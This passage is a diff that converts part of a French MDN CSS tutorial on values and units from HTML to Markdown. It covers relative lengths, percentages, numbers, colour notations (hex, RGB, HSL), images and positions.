[`width`](/fr/docs/Web/CSS/width), relative à la taille de la police de l'élément; | +| `ex` | La hauteur d'x de la police de l'élément. | +| `ch` | La [chasse/avance](<https://fr.wikipedia.org/wiki/Chasse_(typographie)>) du glyphe « 0 » pour la police de l'élément. | +| `rem` | La taille de la police pour l'élément racine. | +| `lh` | La hauteur de ligne pour l'élément. | +| `vw` | 1% de la largeur du <i lang="en">viewport</i> (la zone d'affichage). | +| `vh` | 1% de la hauteur du <i lang="en">viewport</i> (la zone d'affichage). | +| `vmin` | 1% de la plus petite dimension du <i lang="en">viewport</i> (la zone d'affichage). | +| `vmax` | 1% de la plus grande dimension du <i lang="en">viewport</i> (la zone d'affichage). | -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Unité</th> - <th scope="col">Relative à</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>em</code></td> - <td>Pour les propriétés typographiques comme <code><a href="/fr/docs/Web/CSS/font-size">font-size</a></code>, relative à la taille de la police de l'élément parent. Pour les autres propriétés comme <code><a href="/fr/docs/Web/CSS/width">width</a></code>, relative à la taille de la police de l'élément;</td> - </tr> - <tr> - <td><code>ex</code></td> - <td>La hauteur d'x de la police de l'élément.</td> - </tr> - <tr> - <td><code>ch</code></td> - <td>La <a href="https://fr.wikipedia.org/wiki/Chasse_(typographie)">chasse/avance</a> du glyphe « 0 » pour la police de l'élément.</td> - </tr> - <tr> - <td><code>rem</code></td> - <td>La taille de la police pour l'élément racine.</td> - </tr> - <tr> - <td><code>lh</code></td> - <td>La hauteur de ligne pour l'élément.</td> - </tr> - <tr> - <td><code>vw</code></td> - <td>1% de la largeur du <i lang="en">viewport</i> (la zone d'affichage).</td> - </tr> - <tr> - <td><code>vh</code></td> - <td>1% de la hauteur du <i lang="en">viewport</i> (la zone d'affichage).</td> - </tr> - <tr> - <td><code>vmin</code></td> - <td>1% de la plus petite dimension du <i lang="en">viewport</i> (la zone d'affichage).</td> - </tr> - <tr> - <td><code>vmax</code></td> - <td>1% de la plus grande dimension du <i lang="en">viewport</i> (la zone d'affichage).</td> - </tr> - </tbody> -</table> +#### Exploration d'un exemple + +Dans l'exemple qui suit, vous pouvez observer le fonctionnement de certaines unités de longueur relative et absolue. La première boîte a la propriété [`width`](/fr/docs/Web/CSS/width) définie en pixels. Il s'agit d'une unité absolue et cette largeur restera donc la même, quels que soient les autres changements. -<h4 id="exploring_an_example">Exploration d'un exemple</h4> +La deuxième boîte a sa largeur définie avec l'unité `vw` (relative à la largeur de la zone d'affichage). Cette valeur est relative à la largeur du <i lang="en">viewport</i>. Ainsi, `10vw` correspondra à 10 pourcents de la largeur de la zone d'affichage. Si vous changez la largeur de la fenêtre de votre navigateur, la taille de cette boîte devrait changer. Toutefois, si l'exemple est intégré dans la page avec un élément [`<iframe>`](/fr/docs/Web/HTML/Element/iframe), cela ne fonctionnera pas. Pour voir concrètement le résultat, vous devrez ouvrir [l'exemple dans un nouvel onglet avant d'ajuster la taille de votre fenêtre](https://mdn.github.io/css-examples/learn/values-units/length.html). -<p>Dans l'exemple qui suit, vous pouvez observer le fonctionnement de certaines unités de longueur relative et absolue. La première boîte a la propriété <a href="/fr/docs/Web/CSS/width"><code>width</code></a> définie en pixels. Il s'agit d'une unité absolue et cette largeur restera donc la même, quels que soient les autres changements.</p> +La troisième boîte utilise les unités `em`. Ces unités sont relatives à la taille de la police. On a défini une taille de police de `1em` sur l'élément [`<div>`](/fr/docs/Web/HTML/Element/div) englobant et qui a la classe `.wrapper`. Passez cette valeur à `1.5em` et vous pourrez voir que la taille de la police de tous les éléments augmente mais que seul le dernier élément s'élargit du fait que sa largeur soit relative à cette taille de police. -<p>La deuxième boîte a sa largeur définie avec l'unité <code>vw</code> (relative à la largeur de la zone d'affichage). Cette valeur est relative à la largeur du <i lang="en">viewport</i>. Ainsi, <code>10vw</code> correspondra à 10 pourcents de la largeur de la zone d'affichage. Si vous changez la largeur de la fenêtre de votre navigateur, la taille de cette boîte devrait changer. Toutefois, si l'exemple est intégré dans la page avec un élément <code><a href="/fr/docs/Web/HTML/Element/iframe"><iframe></a></code>, cela ne fonctionnera pas. Pour voir concrètement le résultat, vous devrez ouvrir <a href="https://mdn.github.io/css-examples/learn/values-units/length.html">l'exemple dans un nouvel onglet avant d'ajuster la taille de votre fenêtre</a>.</p> +Après avoir suivi ces instructions, n'hésitez pas à modifier les valeurs autrement pour voir ce que ça donne. -<p>La troisième boîte utilise les unités <code>em</code>. Ces unités sont relatives à la taille de la police. On a défini une taille de police de <code>1em</code> sur l'élément <a href="/fr/docs/Web/HTML/Element/div"><code><div></code></a> englobant et qui a la classe <code>.wrapper</code>. Passez cette valeur à <code>1.5em</code> et vous pourrez voir que la taille de la police de tous les éléments augmente mais que seul le dernier élément s'élargit du fait que sa largeur soit relative à cette taille de police.</p> +{{EmbedGHLiveSample("css-examples/learn/values-units/length.html", '100%', 820)}} -<p>Après avoir suivi ces instructions, n'hésitez pas à modifier les valeurs autrement pour voir ce que ça donne.</p> +#### ems et rems -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/length.html", '100%', 820)}}</p> +`em` et `rem` sont deux unités de longueur relative que vous rencontrerez fréquemment dès que vous dimensionnerez des boîtes ou du texte. Aussi, il est intéressant de comprendre leur fonctionnement, les différences entre ces deux unités, surtout avant d'aborder des sujets plus complexes comme [la mise en forme du texte](/fr/docs/Learn/CSS/Styling_text) ou [les dispositions CSS](/fr/docs/Learn/CSS/CSS_layout). L'exemple qui suit fournit une démonstration. -<h4 id="ems_and_rems">ems et rems</h4> +Le HTML utilisé ci-après est un ensemble de listes imbriquées : il y a trois listes au total et les exemples partagent tous le même code HTML. La seule différence est que le premier utilise une classe _ems_ et que le second utilise une classe _rems_. -<p><code>em</code> et <code>rem</code> sont deux unités de longueur relative que vous rencontrerez fréquemment dès que vous dimensionnerez des boîtes ou du texte. Aussi, il est intéressant de comprendre leur fonctionnement, les différences entre ces deux unités, surtout avant d'aborder des sujets plus complexes comme <a href="/fr/docs/Learn/CSS/Styling_text">la mise en forme du texte</a> ou <a href="/fr/docs/Learn/CSS/CSS_layout">les dispositions CSS</a>. L'exemple qui suit fournit une démonstration.</p> +Pour commencer, on définit la taille de la police à 16px sur l'élément `<html>`. -<p>Le HTML utilisé ci-après est un ensemble de listes imbriquées : il y a trois listes au total et les exemples partagent tous le même code HTML. La seule différence est que le premier utilise une classe <em>ems</em> et que le second utilise une classe <em>rems</em>.</p> +**Pour récapituler, l'unité `em` signifie « la taille de police de l'élément parent »** pour ce qui concerne la typographie. Les éléments [`<li>`](/fr/docs/Web/HTML/Element/li) à l'intérieur de [`<ul>`](/fr/docs/Web/HTML/Element/ul) et qui ont un attribut `class` avec `ems` prendront donc leur taille en fonction de celle de leur parent. Aussi, chaque niveau plus grand que le précédent, car chacun a une taille de police de `1.3em` soit 1,3 fois plus grand que la taille de police pour l'élément parent. -<p>Pour commencer, on définit la taille de la police à 16px sur l'élément <code><html></code>.</p> +**Pour récapituler, l'unité `rem` signifie « la taille de police de l'élément racine »** (rem est l'acronyme anglais de « <i lang="en">root em</i> » qu'on pourrait traduire par « em racine ».) Les éléments [`<li>`](/fr/docs/Web/HTML/Element/li) à l'intérieur de [`<ul>`](/fr/docs/Web/HTML/Element/ul) et qui ont un attribut `class` avec `rems` prendront leur taille à partir de l'élément racine (`<html>`). Cela signifie que les niveaux successifs ne gagneront pas en largeur. -<p><strong>Pour récapituler, l'unité <code>em</code> signifie « la taille de police de l'élément parent »</strong> pour ce qui concerne la typographie. Les éléments <a href="/fr/docs/Web/HTML/Element/li"><code><li></code></a> à l'intérieur de <a href="/fr/docs/Web/HTML/Element/ul"><code><ul></code></a> et qui ont un attribut <code>class</code> avec <code>ems</code> prendront donc leur taille en fonction de celle de leur parent. Aussi, chaque niveau plus grand que le précédent, car chacun a une taille de police de <code>1.3em</code> soit 1,3 fois plus grand que la taille de police pour l'élément parent.</p> +Toutefois, si vous modifier la taille de la police avec `font-size` pour `<html>` dans la feuille CSS, vous pourrez voir que toutes les tailles varient en fonction de celle-ci, tant celles qui utilisent `rem` que celles qui utilisent `em`. -<p><strong>Pour récapituler, l'unité <code>rem</code> signifie « la taille de police de l'élément racine »</strong> (rem est l'acronyme anglais de « <i lang="en">root em</i> » qu'on pourrait traduire par « em racine ».) Les éléments <a href="/fr/docs/Web/HTML/Element/li"><code><li></code></a> à l'intérieur de <a href="/fr/docs/Web/HTML/Element/ul"><code><ul></code></a> et qui ont un attribut <code>class</code> avec <code>rems</code> prendront leur taille à partir de l'élément racine (<code><html></code>). Cela signifie que les niveaux successifs ne gagneront pas en largeur.</p> +{{EmbedGHLiveSample("css-examples/learn/values-units/em-rem.html", '100%', 1000)}} -<p>Toutefois, si vous modifier la taille de la police avec <code>font-size</code> pour <code><html></code> dans la feuille CSS, vous pourrez voir que toutes les tailles varient en fonction de celle-ci, tant celles qui utilisent <code>rem</code> que celles qui utilisent <code>em</code>.</p> +### Pourcentages -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/em-rem.html", '100%', 1000)}} </p> +Dans la plupart des cas, un pourcentage est traité comme une longueur. Un pourcentage est toujours relatif à une autre valeur. Ainsi, si vous définissez la propriété `font-size` d'un élément avec un pourcentage, ce pourcentage sera relatif à la valeur de `font-size` de l'élément parent. Si vous utilisez un pourcentage pour `width`, la valeur obtenue sera le pourcentage de la valeur de `width` pour l'élément parent. -<h3 id="percentages">Pourcentages</h3> +Dans l'exemple qui suit, on a deux boîtes dimensionnées avec des pourcentages et deux boîtes dimensionnées en pixels, elles partagent les mêmes noms de classes. Chaque ensemble est dimensionné respectivement avec 40% et 200px. -<p>Dans la plupart des cas, un pourcentage est traité comme une longueur. Un pourcentage est toujours relatif à une autre valeur. Ainsi, si vous définissez la propriété <code>font-size</code> d'un élément avec un pourcentage, ce pourcentage sera relatif à la valeur de <code>font-size</code> de l'élément parent. Si vous utilisez un pourcentage pour <code>width</code>, la valeur obtenue sera le pourcentage de la valeur de <code>width</code> pour l'élément parent.</p> +La différence est que le deuxième ensemble avec les deux boîtes se situe dans un contenant large de 400 pixels. La boîte dimensionnée avec 200px a la même largeur que dans le premier ensemble, en revanche, la boîte dimensionnée avec 40% a une largeur de 40% de 400px ce qui est beaucoup plus étroit que l'autre ! -<p>Dans l'exemple qui suit, on a deux boîtes dimensionnées avec des pourcentages et deux boîtes dimensionnées en pixels, elles partagent les mêmes noms de classes. Chaque ensemble est dimensionné respectivement avec 40% et 200px.</p> +**Essayez de modifier la largeur du bloc englobant ou la valeur du pourcentage pour voir comment cela fonctionne.** -<p>La différence est que le deuxième ensemble avec les deux boîtes se situe dans un contenant large de 400 pixels. La boîte dimensionnée avec 200px a la même largeur que dans le premier ensemble, en revanche, la boîte dimensionnée avec 40% a une largeur de 40% de 400px ce qui est beaucoup plus étroit que l'autre !</p> +{{EmbedGHLiveSample("css-examples/learn/values-units/percentage.html", '100%', 850)}} -<p><strong>Essayez de modifier la largeur du bloc englobant ou la valeur du pourcentage pour voir comment cela fonctionne.</strong></p> +Le prochain exemple utilise des tailles de police définies en pourcentages. Chaque élément `<li>` a `font-size` avec 80%, ainsi les éléments de listes imbriqués deviennent de plus en plus petits en héritant de la taille de leur parent. -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/percentage.html", '100%', 850)}} </p> +{{EmbedGHLiveSample("css-examples/learn/values-units/percentage-fonts.html", '100%', 650)}} -<p>Le prochain exemple utilise des tailles de police définies en pourcentages. Chaque élément <code><li></code> a <code>font-size</code> avec 80%, ainsi les éléments de listes imbriqués deviennent de plus en plus petits en héritant de la taille de leur parent.</p> +On notera que, bien que de nombreuses propriétés acceptent une longueur ou un pourcentage, il en existe certaines qui n'acceptent que des longueurs. Vous pouvez voir cette information sur les pages de référence de chaque propriété sur MDN. Si les valeurs autorisées incluent le type [`<length-percentage>`](/fr/docs/Web/CSS/length-percentage), on peut utiliser une longueur ou un pourcentage. Si les valeurs autorisées n'incluent que `<length>`, il n'est pas possible d'utiliser un pourcentage. -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/percentage-fonts.html", '100%', 650)}} </p> +### Nombres -<p>On notera que, bien que de nombreuses propriétés acceptent une longueur ou un pourcentage, il en existe certaines qui n'acceptent que des longueurs. Vous pouvez voir cette information sur les pages de référence de chaque propriété sur MDN. Si les valeurs autorisées incluent le type <code><a href="/fr/docs/Web/CSS/length-percentage"><length-percentage></a></code>, on peut utiliser une longueur ou un pourcentage. Si les valeurs autorisées n'incluent que <code><length></code>, il n'est pas possible d'utiliser un pourcentage.</p> +Certains types de valeur acceptent des nombres, sans unité. Une telle propriété est, par exemple, `opacity` qui contrôle l'opacité d'un élément. Cette propriété acceptera une valeur numérique (sans unité) comprise entre `0` (transparence complète) et `1` (complètement opaque). -<h3 id="numbers">Nombres</h3> +**Dans l'exemple qui suit, essayez de modifier la valeur de la propriété `opacity` en utilisant différentes valeurs décimales entre `0` et `1` afin de voir comment la boîte et son contenu changent en opacité.** -<p>Certains types de valeur acceptent des nombres, sans unité. Une telle propriété est, par exemple, <code>opacity</code> qui contrôle l'opacité d'un élément. Cette propriété acceptera une valeur numérique (sans unité) comprise entre <code>0</code> (transparence complète) et <code>1</code> (complètement opaque).</p> +{{EmbedGHLiveSample("css-examples/learn/values-units/opacity.html", '100%', 500)}} -<p><strong>Dans l'exemple qui suit, essayez de modifier la valeur de la propriété <code>opacity</code> en utilisant différentes valeurs décimales entre <code>0</code> et <code>1</code> afin de voir comment la boîte et son contenu changent en opacité.</strong></p> +> **Note :** Lorsqu'on utilise un nombre pour une valeur en CSS, il ne doit pas être écrit avec des guillemets ou quotes autour. -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/opacity.html", '100%', 500)}} </p> +## Couleur -<div class="notecard note"> -<p><strong>Note :</strong> Lorsqu'on utilise un nombre pour une valeur en CSS, il ne doit pas être écrit avec des guillemets ou quotes autour.</p> -</div> +Il existe de nombreuses façons d'utiliser des couleurs en CSS, certaines ayant été plus récemment implémentées que d'autres. Les mêmes valeurs de couleur peuvent être utilisées n'importe où en CSS, qu'il s'agisse d'une couleur pour du texte, d'une couleur d'arrière-plan ou de toute autre couleur. -<h2 id="color">Couleur</h2> +Le système standard de couleurs disponible pour les ordinateurs modernes utilise 24 bits, ce qui permet d'afficher 16,7 millions de couleurs différentes par des combinaisons de canaux rouge, vert et bleu dont chacun peut avoir 256 valeurs distinctes (256 x 256 x 256 = 16 777 216). Voyons quelques façons d'indiquer des couleurs en CSS. -<p>Il existe de nombreuses façons d'utiliser des couleurs en CSS, certaines ayant été plus récemment implémentées que d'autres. Les mêmes valeurs de couleur peuvent être utilisées n'importe où en CSS, qu'il s'agisse d'une couleur pour du texte, d'une couleur d'arrière-plan ou de toute autre couleur.</p> +> **Note :** Dans ce tutoriel, nous verrons les méthodes communément utilisées pour définir les couleurs et qui disposent d'une bonne prise en charge des navigateurs. Il en existe d'autres, mais elles sont moins bien prises en charge et sont moins fréquentes. -<p>Le système standard de couleurs disponible pour les ordinateurs modernes utilise 24 bits, ce qui permet d'afficher 16,7 millions de couleurs différentes par des combinaisons de canaux rouge, vert et bleu dont chacun peut avoir 256 valeurs distinctes (256 x 256 x 256 = 16 777 216). Voyons quelques façons d'indiquer des couleurs en CSS.</p> +### Mots-clés pour les couleurs -<div class="notecard note"> -<p><strong>Note :</strong> Dans ce tutoriel, nous verrons les méthodes communément utilisées pour définir les couleurs et qui disposent d'une bonne prise en charge des navigateurs. Il en existe d'autres, mais elles sont moins bien prises en charge et sont moins fréquentes.</p> -</div> +Dans la plupart des exemples de cette section d'apprentissage ou à d'autres endroits sur MDN, vous verrez des mots-clés utilisés pour définir des couleurs : il s'agit d'une méthode simple et compréhensible pour indiquer une couleur. Il existe de nombreux mots-clés, certains avec des noms plutôt amusants. Vous pouvez consulter la liste complète sur la page pour le type de valeur [`<color>`](/fr/docs/Web/CSS/color_value). -<h3 id="color_keywords">Mots-clés pour les couleurs</h3> +**Essayez de manipuler les différentes valeurs de couleur dans l'exemple ci-après afin de mieux comprendre comment celles-ci fonctionnent.** -<p>Dans la plupart des exemples de cette section d'apprentissage ou à d'autres endroits sur MDN, vous verrez des mots-clés utilisés pour définir des couleurs : il s'agit d'une méthode simple et compréhensible pour indiquer une couleur. Il existe de nombreux mots-clés, certains avec des noms plutôt amusants. Vous pouvez consulter la liste complète sur la page pour le type de valeur <code><a href="/fr/docs/Web/CSS/color_value"><color></a></code>.</p> +### Valeurs RGB hexadécimales -<p><strong>Essayez de manipuler les différentes valeurs de couleur dans l'exemple ci-après afin de mieux comprendre comment celles-ci fonctionnent.</strong></p> +Les autres valeurs de couleur que vous rencontrerez assez souvent sont celles représentées avec des codes hexadécimaux. Chaque valeur hexadécimale se compose d'un croisillon (#) suivi de six chiffres hexadécimaux dont chacun peut prendre une valeur parmi 16 : de 0 à f (la lettre utilisée pour représentée 15) (les chiffres hexadécimaux sont : `0123456789abcdef`). Dans ces six chiffres, chaque paire de chiffre représente la valeur pour l'un des canaux de couleurs (rouge, vert et bleu) et permet d'indiquer l'une des 256 valeurs disponibles. -<h3 id="hexadecimal_rgb_values">Valeurs RGB hexadécimales</h3> +Ces valeurs sont un peu plus complexes et moins faciles à comprendre, mais elles permettent d'exprimer beaucoup plus de couleurs que les mots-clés. Vous pouvez utiliser les valeurs hexadécimales pour représenter n'importe quelle couleur dans votre palette. -<p>Les autres valeurs de couleur que vous rencontrerez assez souvent sont celles représentées avec des codes hexadécimaux. Chaque valeur hexadécimale se compose d'un croisillon (#) suivi de six chiffres hexadécimaux dont chacun peut prendre une valeur parmi 16 : de 0 à f (la lettre utilisée pour représentée 15) (les chiffres hexadécimaux sont : <code>0123456789abcdef</code>). Dans ces six chiffres, chaque paire de chiffre représente la valeur pour l'un des canaux de couleurs (rouge, vert et bleu) et permet d'indiquer l'une des 256 valeurs disponibles.</p> +{{EmbedGHLiveSample("css-examples/learn/values-units/color-hex.html", '100%', 700)}} -<p>Ces valeurs sont un peu plus complexes et moins faciles à comprendre, mais elles permettent d'exprimer beaucoup plus de couleurs que les mots-clés. Vous pouvez utiliser les valeurs hexadécimales pour représenter n'importe quelle couleur dans votre palette.</p> +**Là encore, essayez de modifier les valeurs pour voir comment les couleurs varient.** -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hex.html", '100%', 700)}} </p> +### Les valeurs RGB et RGBA -<p><strong>Là encore, essayez de modifier les valeurs pour voir comment les couleurs varient.</strong></p> +La troisième façon que nous aborderons ici est RGB (pour « <i lang="en">Red, Green, Blue</i> » soit : rouge, vert, bleu en français). Une valeur RGB est une fonction `rgb()` à laquelle on passe trois paramètres qui représentent respectivement les valeurs des canaux rouge, vert, bleu (de la même façon que pour les valeurs hexadécimales). Contrairement aux valeurs hexadécimales, les valeurs des composantes ne sont pas exprimées en hexadécimal (avec des chiffres de 0 à f) mais avec un nombre décimal compris entre 0 et 255. Cela rend la compréhension de la valeur plus simple. -<h3 id="rgb_and_rgba_values">Les valeurs RGB et RGBA</h3> +Réécrivons notre dernier exemple afin d'utiliser les couleurs RGB : -<p>La troisième façon que nous aborderons ici est RGB (pour « <i lang="en">Red, Green, Blue</i> » soit : rouge, vert, bleu en français). Une valeur RGB est une fonction <code>rgb()</code> à laquelle on passe trois paramètres qui représentent respectivement les valeurs des canaux rouge, vert, bleu (de la même façon que pour les valeurs hexadécimales). Contrairement aux valeurs hexadécimales, les valeurs des composantes ne sont pas exprimées en hexadécimal (avec des chiffres de 0 à f) mais avec un nombre décimal compris entre 0 et 255. Cela rend la compréhension de la valeur plus simple.</p> +{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgb.html", '100%', 700)}} -<p>Réécrivons notre dernier exemple afin d'utiliser les couleurs RGB :</p> +Il est aussi possible d'utiliser des couleurs RGBA : celles-ci fonctionnent exactement comme les couleurs RGB (et il est donc possible d'utiliser n'importe quelle valeur RGB pour une valeur RGBA). Toutefois, les valeurs RGBA utilisent une quatrième valeur qui représente le canal alpha de la couleur qui contrôle son opacité. Avec une valeur de `0` pour le canal alpha, la couleur sera complètement transparente tandis qu'avec `1`, elle sera complètement opaque. Les valeurs intermédiaires fourniront des niveaux progressifs d'opacité. -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgb.html", '100%', 700)}} </p> +> **Note :** Définir un canal alpha sur une couleur n'est pas exactement la même chose qu'utiliser la propriété [`opacity`](/fr/docs/Web/CSS/opacity) dont nous avons parlé auparavant. Lorsqu'on utilise `opacity`, c'est tout l'élément et ce qu'il contient qui devient plus ou moins opaque/transparent alors que lorsqu'on définit une couleur RGBA, seule la couleur est plus ou moins opaque. -<p>Il est aussi possible d'utiliser des couleurs RGBA : celles-ci fonctionnent exactement comme les couleurs RGB (et il est donc possible d'utiliser n'importe quelle valeur RGB pour une valeur RGBA). Toutefois, les valeurs RGBA utilisent une quatrième valeur qui représente le canal alpha de la couleur qui contrôle son opacité. Avec une valeur de <code>0</code> pour le canal alpha, la couleur sera complètement transparente tandis qu'avec <code>1</code>, elle sera complètement opaque. Les valeurs intermédiaires fourniront des niveaux progressifs d'opacité.</p> +Dans l'exemple qui suit, on a ajouté une image d'arrière-plan au bloc englobant les boîtes colorées. On a ensuite réglé différentes valeurs d'opacité pour les différentes boîtes : vous pouvez voir comment l'arrière-plan est de plus en plus visible au fur et à mesure que la valeur du canal alpha est faible. -<div class="notecard note"> -<p><strong>Note :</strong> Définir un canal alpha sur une couleur n'est pas exactement la même chose qu'utiliser la propriété <a href="/fr/docs/Web/CSS/opacity"><code>opacity</code></a> dont nous avons parlé auparavant. Lorsqu'on utilise <code>opacity</code>, c'est tout l'élément et ce qu'il contient qui devient plus ou moins opaque/transparent alors que lorsqu'on définit une couleur RGBA, seule la couleur est plus ou moins opaque.</p> -</div> +{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgba.html", '100%', 770)}} -<p>Dans l'exemple qui suit, on a ajouté une image d'arrière-plan au bloc englobant les boîtes colorées. On a ensuite réglé différentes valeurs d'opacité pour les différentes boîtes : vous pouvez voir comment l'arrière-plan est de plus en plus visible au fur et à mesure que la valeur du canal alpha est faible.</p> +**Dans cet exemple, essayez de modifier les valeurs pour le canal alpha afin de voir comment la couleur est modifiée.** -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgba.html", '100%', 770)}}</p> +> **Note :** Avec la spécification <i lang="en">CSS Colors Level 4</i>, `rgba()` est un alias pour `rgb()` et `hsla()` est un alias pour `hsl()` (voir ci-après). Pour les navigateurs qui implémentent ce standard, ces fonctions synonymes acceptent les mêmes paramètres et se comportent de la même façon. Essayez de modifier l'exemple qui précède pour passer de fonctions `rgba()` à des fonctions `rgb()` pour voir si les couleurs fonctionnent toujours. Le style que vous utiliserez ne dépend que de vous mais séparer les définitions de couleurs transparentes et de couleurs non-transparentes fournira une prise en charge navigateur (légèrement) meilleure tout en explicitant visuellement (dans votre code) où les couleurs transparentes sont définies. -<p><strong>Dans cet exemple, essayez de modifier les valeurs pour le canal alpha afin de voir comment la couleur est modifiée.</strong></p> +### Valeurs HSL et HSLA -<div class="note"> -<p><strong>Note :</strong> Avec la spécification <i lang="en">CSS Colors Level 4</i>, <code>rgba()</code> est un alias pour <code>rgb()</code> et <code>hsla()</code> est un alias pour <code>hsl()</code> (voir ci-après). Pour les navigateurs qui implémentent ce standard, ces fonctions synonymes acceptent les mêmes paramètres et se comportent de la même façon. Essayez de modifier l'exemple qui précède pour passer de fonctions <code>rgba()</code> à des fonctions <code>rgb()</code> pour voir si les couleurs fonctionnent toujours. Le style que vous utiliserez ne dépend que de vous mais séparer les définitions de couleurs transparentes et de couleurs non-transparentes fournira une prise en charge navigateur (légèrement) meilleure tout en explicitant visuellement (dans votre code) où les couleurs transparentes sont définies.</p> -</div> +Avec une prise en charge légèrement plus faible que RGB, on a le modèle de couleurs HSL (non pris en charge pour d'anciennes versions d'Internet Explorer) qui a été implémentée après un intérêt marqué de la part des designers. Plutôt que d'indiquer des valeurs pour les canaux rouge, vert, bleu, la fonction `hsl()` prend des paramètres pour la teinte (<i lang="en">hue</i> en anglais), la saturation et la luminosité. Cela permet aussi d'obtenir 16,7 millions de couleurs mais différemment : -<h3 id="hsl_and_hsla_values">Valeurs HSL et HSLA</h3> +- **Teinte (<i lang="en">hue</i>)** : La couleur de base. La valeur utilisée est comprise entre 0 et 360 et représente l'angle sur une roue de couleurs. +- **Saturation** : La saturation de la couleur. La valeur est comprise entre 0 et 100% où 0 indique qu'il n'y a pas de couleur (ce sera une nuance de gris) et où 100% indique une saturation en couleur complète. +- **Luminosité** : La clarté ou la luminosité de la couleur. La valeur est comprise entre 0 et 100%, où 0 indique qu'il n'y a pas de luminosité (la couleur sera complètement noire) et où 100% indique une lumière pure (la couleur sera complètement blanche). -<p>Avec une prise en charge légèrement plus faible que RGB, on a le modèle de couleurs HSL (non pris en charge pour d'anciennes versions d'Internet Explorer) qui a été implémentée après un intérêt marqué de la part des designers. Plutôt que d'indiquer des valeurs pour les canaux rouge, vert, bleu, la fonction <code>hsl()</code> prend des paramètres pour la teinte (<i lang="en">hue</i> en anglais), la saturation et la luminosité. Cela permet aussi d'obtenir 16,7 millions de couleurs mais différemment :</p> +On peut mettre à jour notre exemple RGB afin d'utiliser les couleurs HSL : -<ul> - <li><strong>Teinte (<i lang="en">hue</i>)</strong> : La couleur de base. La valeur utilisée est comprise entre 0 et 360 et représente l'angle sur une roue de couleurs.</li> - <li><strong>Saturation</strong> : La saturation de la couleur. La valeur est comprise entre 0 et 100% où 0 indique qu'il n'y a pas de couleur (ce sera une nuance de gris) et où 100% indique une saturation en couleur complète.</li> - <li><strong>Luminosité</strong> : La clarté ou la luminosité de la couleur. La valeur est comprise entre 0 et 100%, où 0 indique qu'il n'y a pas de luminosité (la couleur sera complètement noire) et où 100% indique une lumière pure (la couleur sera complètement blanche).</li> -</ul> +{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsl.html", '100%', 700)}} -<p>On peut mettre à jour notre exemple RGB afin d'utiliser les couleurs HSL :</p> +À l'instar de RGBA pour RGB, il existe un équivalent HSLA à HSL qui permet aussi d'indiquer une valeur pour le canal alpha. Voici un exemple où on a converti l'exemple RGBA afin d'utiliser des couleurs HSLA. -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsl.html", '100%', 700)}}</p> +{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsla.html", '100%', 770)}} -<p>À l'instar de RGBA pour RGB, il existe un équivalent HSLA à HSL qui permet aussi d'indiquer une valeur pour le canal alpha. Voici un exemple où on a converti l'exemple RGBA afin d'utiliser des couleurs HSLA.</p> +Vous pouvez utiliser n'importe laquelle de ces couleurs dans vos projets et il est probable que, pour la plupart des projets, vous décidiez d'une palette de couleurs pour vous limiter à elles dans un souci de cohérence, de même pour la méthode utilisée pour définir les couleurs. Vous pouvez bien entendu mélanger les différents modèles de définition des couleurs, mais il est souvent mieux d'être cohérent et d'en fixer un seul pour un même projet ! -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsla.html", '100%', 770)}} </p> +## Images -<p>Vous pouvez utiliser n'importe laquelle de ces couleurs dans vos projets et il est probable que, pour la plupart des projets, vous décidiez d'une palette de couleurs pour vous limiter à elles dans un souci de cohérence, de même pour la méthode utilisée pour définir les couleurs. Vous pouvez bien entendu mélanger les différents modèles de définition des couleurs, mais il est souvent mieux d'être cohérent et d'en fixer un seul pour un même projet !</p> +Le type de valeur [`<image>`](/fr/docs/Web/CSS/image) est utilisé à chaque endroit où une image est une valeur valide. Il peut s'agir d'une image à proprement parler dans un fichier (avec une fonction `url()` qui utilisera l'adresse du fichier avec l'image) ou d'un dégradé. -<h2 id="images">Images</h2> +Voici un exemple où on utilise une image et un dégradé pour la propriété CSS `background-image`. -<p>Le type de valeur <code><a href="/fr/docs/Web/CSS/image"><image></a></code> est utilisé à chaque endroit où une image est une valeur valide. Il peut s'agir d'une image à proprement parler dans un fichier (avec une fonction <code>url()</code> qui utilisera l'adresse du fichier avec l'image) ou d'un dégradé.</p> +{{EmbedGHLiveSample("css-examples/learn/values-units/image.html", '100%', 740)}} -<p>Voici un exemple où on utilise une image et un dégradé pour la propriété CSS <code>background-image</code>.</p> +> **Note :** il existe d'autres valeurs possibles pour le type `<image>`, toutefois celles-ci sont plus récentes et moins bien prises en charge par les navigateurs. Consultez la page MDN pour le type de données [`<image>`](/fr/docs/Web/CSS/image) si vous voulez en savoir plus. -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/image.html", '100%', 740)}} </p> +## Position -<div class="notecard note"> -<p><strong>Note :</strong> il existe d'autres valeurs possibles pour le type <code><image></code>, toutefois celles-ci sont plus récentes et moins bien prises en charge par les navigateurs. Consultez la page MDN pour le type de données <code><a href="/fr/docs/Web/CSS/image"><image></a></code> si vous voulez en savoir plus.</p> -</div> +Le type de valeur [`<position>`](/fr/docs/Web/CSS/position_value) représente un ensemble de coordonnées sur deux dimensions, utilisé pour positionner un objet comme une image d'arrière-plan (via [`background-position`](/fr/docs/Web/CSS/background-position)). Ces valeurs peuvent être indiquées avec des mots-clés comme `top`, `left`, `bottom`, `right`, et `center` afin d'aligner les objets sur les bords d'une boîte en deux dimensions et avec des longueurs qui représentent les décalages par rapport au coin supérieur gauche de la boîte. -<h2 id="position">Position</h2> +Une position se compose généralement de deux valeurs : la première indiquant la position horizontale et la seconde indiquant la position verticale. Si une seule valeur est fournie, l'autre valeur sera `center` par défaut. -<p>Le type de valeur <code><a href="/fr/docs/Web/CSS/position_value"><position></a></code> représente un ensemble de coordonnées sur deux dimensions, utilisé pour positionner un objet comme une image d'arrière-plan (via <code><a href="/fr/docs/Web/CSS/background-position">background-position</a></code>). Ces valeurs peuvent être 